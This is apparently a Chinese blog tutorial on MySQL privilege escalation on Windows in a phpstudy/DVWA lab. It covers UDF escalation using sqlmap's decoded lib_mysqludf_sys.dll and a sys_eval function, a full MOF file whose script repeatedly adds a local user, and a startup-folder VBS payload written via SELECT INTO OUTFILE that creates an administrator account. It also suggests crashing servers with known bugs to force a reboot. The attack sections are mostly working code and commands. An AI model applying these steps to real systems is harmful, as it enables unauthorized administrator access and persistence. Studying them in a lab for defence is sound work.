UDF提权
所用环境:Win7+phpstudy+dvwa
1.UDF提权前置知识
UDF介绍: UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展 MySQL的技术手段,可以说是数据库功能的一种扩展。用户通过自定义函数来实现在MySQL中无法方 便实现的功能,其添加的新函数都可以在SQL语句中调用,通过添加命令执行函数可以执行系统命令, 从而进行提权。
我们自定义的函数才被当作本机函数执行。在使用CREATE FUNCITON调用dll中的函数后,mysql账 号转化为system权限,从而来提权。
UDF提权条件: 1)掌握的Mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,如root账户 2)Mysql版本大于5.1版本,udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下 3)可以将udf.dll写入到相应目录的权限 4)secure-file-priv参数不为null
2.UDF提权流程
(1、通过网站漏洞获取一个shell,如webshell:
![](https://img-blog.csdnimg.cn/img_convert/d5484433f96fd6b6a4202c17e758426c.png)
(2、查找数据库账号密码
C:/phpstudy_pro/WWW/DVWA/DVWA/config/config.inc.php
![](https://img-blog.csdnimg.cn/img_convert/6e94a0f7f1ef47e87fc6f1dce1dd6ef3.png)
(3、通过navicat连接数据库
![](https://img-blog.csdnimg.cn/img_convert/7923fd8a7b82c677244bc7cf17501258.png)
如果无法远程连接的话,可以在后端数据库中进行授权
grant all privileges on *.* to root@'%' identified by 'root';
![](https://img-blog.csdnimg.cn/img_convert/82311308a21d9b9a27b34d403dc7c866.png)
当然如果是实际的环境中,无法连接数据库,那就没有办法了
新建查询,查询Mysql系统位数:64位数
![](https://img-blog.csdnimg.cn/img_convert/ade3bc0109ad876f6227600c00f2598b.png)
查询plugin路径,用以存放插件
show variables like '%plugin%';
可知路径为C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\
![](https://img-blog.csdnimg.cn/img_convert/ae6b1afc5bc14c5e55dcba99b908225b.png)
查看secure_file_priv是否为NULL,确定是否能够对mysql导入导出,此处我们看是不为NULL的
![](https://img-blog.csdnimg.cn/img_convert/2ab9f92a49f1d8ba2d0e155585a1cdc0.png)
(4、制作提权dll
sqlmap中有编码后的dll文件,路径为 sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll_ sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
需要利用cloak.py进行解码获得mysqludf_sys.dll,cloak.py在sqlmap的sqlmap\extra\cloak\目录下 python cloak.py -d -i lib_mysqludf_sys.dll_ # windows 环境允许以下命令 python cloak.py -d -i D:\\huanjing\\python\\Python38\\sqlmap\\data\\udf\\mysql\\windows\\64\\lib_mysql udf_sys.dll_
![](https://img-blog.csdnimg.cn/img_convert/50ca93956583aefbf94bd1d988596e76.png)
(5、将dll文件上传到C:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\目录
![](https://img-blog.csdnimg.cn/img_convert/363df223c205427f3fd5a1ff62db2dfd.png)
如果没有相应的路径则需要自己创建
(6、创建sys_eval函数,提权
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
![](https://img-blog.csdnimg.cn/img_convert/65234f93e5d3225b9820e12fafdae4e2.png)
# 允许数据库远程连接 grant all privileges on *.* to "root"@"%" identified by "密码"; # 创建用户 CREATE USER 'admin'@'%' IDENTIFIED BY 'pwd123'; # 授予用户dvwa库权限 grant all on dvwa.* to 'admin'@'%'; # Mysql配置文件增加 srcure-file-priv选项 secure_file_priv= 使用函数进行提权:select sys_eval('whoami');
![](https://img-blog.csdnimg.cn/img_convert/47516131cfb0b6dd6b1314e8a44082f9.png)
但是我们这里还是一个普通用户
之所以提权失败,是因为后端数据库所用的并不是最高权限账户
我们切换到administrator,再次执行select sys_eval('whoami');发现提权成功
![](https://img-blog.csdnimg.cn/img_convert/b072c60d7448a73647ff3a53a3decb84.png)
MOF漏洞及启动项提权
1.MOF提权
条件: 1. windows 03及以下版本 2. mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录 3. secure-file-priv参数不为null 原理: MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof, 然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段 vbs脚本的内容让系统执行命令,进行提权。
mof利用代码:
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user test 123456 /add\")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; 提权过程: 将上面的脚本上传到有读写权限的目录下 C:/phpstudy_pro/1.mof 然后使用sql语句将文件导入到c:/windows/system32/wbem/mof/下 : select load_file("C:/phpstudy_pro/1.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次test用户。
启动项提权
条件:file_priv 不为null、已知root密码 写入一段VBS代码到开机自启动中,服务器重启达到创建用户并提权,可以配合ms12-020,ms15-034 等漏洞将服务器打蓝屏迫使服务器重启。
1、开始菜单当前用户启动文件夹-- C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 2、开始菜单所有用户启动文件夹-- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 3、注册表当前用户开机启动项目录-- HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 4、注册表所有用户开机启动项目录-- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
利用POC: create table a (cmd text); insert into a values ("set wshshell=createobject (""wscript.shell"") " ); insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123456 /add"",0) " ); insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " ); select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单 \\程序\\启动\\a.vbs";